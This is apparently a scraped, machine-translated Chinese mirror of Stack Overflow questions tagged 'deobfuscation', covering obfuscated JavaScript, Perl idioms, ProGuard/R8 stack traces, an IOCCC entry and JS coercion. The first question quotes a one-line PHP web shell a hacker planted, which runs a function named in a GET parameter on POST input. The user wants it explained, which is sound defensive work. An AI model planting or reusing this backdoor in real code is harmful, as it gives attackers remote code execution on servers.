标签: deobfuscation

找到黑客留下的代码,但不明白它的作用

我在我的一个PHP文件中找到了黑客留下的一行脚本.它读起来像这样:

<?php

($_=@$_GET[2]).@$_($_POST[1]);

?>
Run Code Online (Sandbox Code Playgroud)

任何人都可以提供一些关于这行代码的提示吗?谢谢

php security cracking deobfuscation

9
推荐指数
3
解决办法
1025
查看次数

用实际变量名/字符串替换数组映射变量?

我正在尝试编辑Greasemonkey/jQuery脚本.我不能在这里发布链接.
使用minify对代码进行模糊处理和压缩.
它是这样开始的:

var _0x21e9 = ["\x67\x65\x74\x4D\x6F\x6E\x74\x68", "\x67\x65\x74\x55\x54\x43\x44\x61\x74\x65", ...
Run Code Online (Sandbox Code Playgroud)

在解码之后,我得到了这个:

var _0x21e9=["getMonth","getUTCDate","getFullYear", ...   
Run Code Online (Sandbox Code Playgroud)

这是一个巨大的名单(500+).然后,它有一些像这样的变量:

 month = date[_0x21e9[0]](), day = date[_0x21e9[1]](), ...
Run Code Online (Sandbox Code Playgroud)

_0x21e9 [0]是getMonth,_0x21e9 [1]是getUTCDate等.

是否可以用实际变量名替换方括号?怎么样?
我对javascript/jQuery知之甚少,无法按照现在的方式"读取"代码.
我只想使用这个巨大脚本中的一些函数并删除其他我不需要的函数.

更新:我尝试使用jsbeautifier.org,如此处和重复的问题所示,但没有改变,除了"缩进".

它没有用解码的名称替换数组变量.
例如:

  1. jsbeautifier仍然给出:month = date[_0x21e9[0]]().
  2. 但我需要:month = date["getMonth"]().

在线反混淆器似乎没有这样做,我怎么能这样做?


有没有办法让我与某人分享代码,至少是其中的一部分?我看过我不能发贴pastebin,或类似的.我不能在这里发布完整的代码.

这是代码的另一部分:

$(_0x21e9[8] + vid)[_0x21e9[18]]();    
Run Code Online (Sandbox Code Playgroud)

[8]是"." [18]是"删除".手动更换它会产生奇怪的结果.

javascript jquery greasemonkey deobfuscation

9
推荐指数
1
解决办法
4267
查看次数

花哨的文件在Perl中啜饮

我正在研究在Perl中读取文件的有效方法,并遇到了这个非常有趣的内容:

my $text = do { local (@ARGV, $/) = $file; <> };
Run Code Online (Sandbox Code Playgroud)

我的问题是:这究竟是如何工作的?通常在啜饮你设置的文件时$/ = undef,但我不知道这是怎么回事.事实证明,这一小段代码非常难以理解.

什么是简化的细分和解释?


现在我知道它是如何工作的,让我们真正想象!

并不是说这段代码有任何实际用途; 想出来并冷静看待它真的很有趣.这是一个同时啜饮多个文件的单线程!

my @texts = map { local (@ARGV, $/) = $_; <> } @files;
Run Code Online (Sandbox Code Playgroud)

perl file-io scope syntactic-sugar deobfuscation

9
推荐指数
1
解决办法
171
查看次数

Crashlytics不会取消代码

我是Crashlytics的新手,而且我遇到了一个问题,那就是我的堆栈痕迹并没有消失.根据Crashlytics的说法,这应该是自动发生的.它应该使用.apk中包含的mappings.txt文件来解密堆栈跟踪.我对整个过程有几个问题,以及我应该如何解决问题.

1)默认情况下,mappings.txt文件应与.apk一起打包?我正在使用gradle; 你有什么选择吗?

2)我似乎无法从Crashlytics下载stacktrace,也无法更新其仪表板上的mappings.txt文件.这两种选择都可以吗?

3)我可以在其他地方获得堆栈跟踪,应用程序启用了GSM服务.

proguard deobfuscation crashlytics

8
推荐指数
1
解决办法
2571
查看次数

这个Perl代码如何工作?

我找到了这个Perl程序:

''=~('(?{'.(']])@+}'^'-/@._]').'"'.('/<[*-_<+>?}{>]@}+@}]])@+}@<[*-_<+>?}{>]@^'^'`^=_^<]_[[]+[/,]_/]-/@._]/^=_^<]_[[]+[/,|').',$/})')
Run Code Online (Sandbox Code Playgroud)

它打印 "Obfuscated Perl to print obfuscated Perl"

我想知道它是如何打印出来的.

perl deobfuscation

8
推荐指数
1
解决办法
177
查看次数

Google Play开发者控制台在Stacktrace中显示类和方法名称

我有一个启用了Proguard的应用程序(minifyenabled true),最近在Google Play开发者控制台中收到了崩溃报告.当我看着它时,我看到了以下内容:

在此输入图像描述

当Proguard启用时,我很惊讶地看到第1行中的完整类和方法名称.我以前总是看到这样的事情:

在com.myname.myapp.cf(未知来源)

我也很好奇线号是如何出现的,因为我没有在我的Proguard配置文件中保留行号(因此,为什么我通常在我的堆栈跟踪中看到'未知来源').

我反编译我的.apk,偷看了classes.dex文件,看起来一切都很好.我找到了堆栈跟踪的第1行中引用的类,并且类名确实是模糊的,方法名称也是如此.

现在,'MyActivity'(stacktrace的第2行)是我的应用程序的启动Activity,因此在Manifest中声明,所以我理解为什么它的名称没有被混淆,'onConnected'方法不是我的(它来自谷歌Play游戏服务),所以,再次,这是好的.

"MyMethodName"从所谓的 onConnected像这样:

@Override
public void onConnected(Bundle arg0) {
    myClassObject.myMethodName();       //Where myClassObject is an instance of MyClassName
}
Run Code Online (Sandbox Code Playgroud)

在我的build.gradle文件中将Debug设置为disabled.

我没有将mapping.txt文件上传到Play控制台,我手动运行回扫以查看我的去混淆堆栈跟踪.

如果有人能帮助我理解为什么我在这里看到我的全班和方法名,我会很感激?我可以/应该做些什么来防止这种情况发生?

android proguard deobfuscation google-play android-proguard

8
推荐指数
1
解决办法
368
查看次数

开发人员消失了,我剩下的只是.pyt文件,我怎么看源代码?

无论如何,是否可以从.pyt文件中获取源代码?当我尝试打开所有时,我得到的是一堆符号。我有一个.exe文件,然后将文件转换为.pyc,但是主要的源代码似乎在.pyt中,尽管这是我假设的文件名是“ FILE”,但是当您通读时可以看到它的文件名是源代码中的.pyt。

我尝试使用在线工具进行解码,但没有运气。

我得到的例子:

c           @   sG  d  d l  Z  d  d l Z d  d l Z d  d l Z d  d l m Z d  d l m Z d  d l m Z d  d l    Z   d  d l
 m Z d  d l m
 Z
 d  d l m Z d  d l Z d  d l Z d  d l Z d  d l m Z d  d l m Z d …
Run Code Online (Sandbox Code Playgroud)

python decompiling bytecode decode deobfuscation

8
推荐指数
0
解决办法
239
查看次数

如何对 R8 堆栈跟踪进行反混淆?

我有一个应用程序,它崩溃了,就像每个好的应用程序应该的一样!不久前,Android 构建工具开始使用R8而不是Proguard。它有效并加快了我的构建速度,所以我不理会它。然后出现了一个异常堆栈跟踪,我必须对其进行反混淆。我使用了 proguard UI、retrace.bat脚本和命令行,但所谓的反混淆堆栈跟踪仍然看起来很模糊。

查看mapping.txt生成的结果,我在映射中看到了一堆我不记得以前见过的数字(行号?)。我怀疑这些是反混淆器首先失败的原因。

目前有什么方法可以对此类堆栈跟踪进行反混淆处理吗?

也发布为https://issuetracker.google.com/137078989

obfuscation android deobfuscation android-r8

8
推荐指数
1
解决办法
1614
查看次数

IOCCC 1984/decot.c - 可以在 21 世纪编译吗?

这段引人入胜的代码出现在第一届(1984 年)国际混淆 C 代码竞赛中:

http://www.ioccc.org/years.html#1984 (decot)

在清除了由 goto 和一些偷偷摸摸的注释引起的预处理器滥用和未使用代码的碎片后,您最终得到以下幸存代码(如果我错了,请纠正我!):

#include <stdio.h> //used to suppress warnings
#include <math.h> //used to suppress warnings
extern int fl00r; //renamed to not clash with floor from math.h - unless it's part of the trickery???
int b, k['a'] = {
    sizeof(int(*)()),
    };
struct tag {int x0,*xO;}

*main(int i, int dup, int signal) { //int added to suppress warnings
  for(signal=0;*k *= * __FILE__ *i;) {
   printf(&*"'\",=);    /*\n\\", (*((int(*)())&fl00r))(i)); //see line 3
   if(b&&k+sin(signal)/ * ((main) (b)-> xO));
  } …
Run Code Online (Sandbox Code Playgroud)

c obfuscation deobfuscation

8
推荐指数
2
解决办法
192
查看次数

为什么在JavaScript中这个表达式被评估为"a"?

我抓住了一些混淆的JavaScript代码.我试图理解它,并且这样做,我在控制台中输入了它的一部分.我不明白为什么

> ((!!+[]+"")[+!![]])
< "a"
Run Code Online (Sandbox Code Playgroud)

为什么在JavaScript中((!!+[]+"")[+!![]])等于"a"?还有其他一些代码片段可以获得其他字母吗?

我想这与自动铸造有关.

javascript obfuscation types deobfuscation

7
推荐指数
1
解决办法
260
查看次数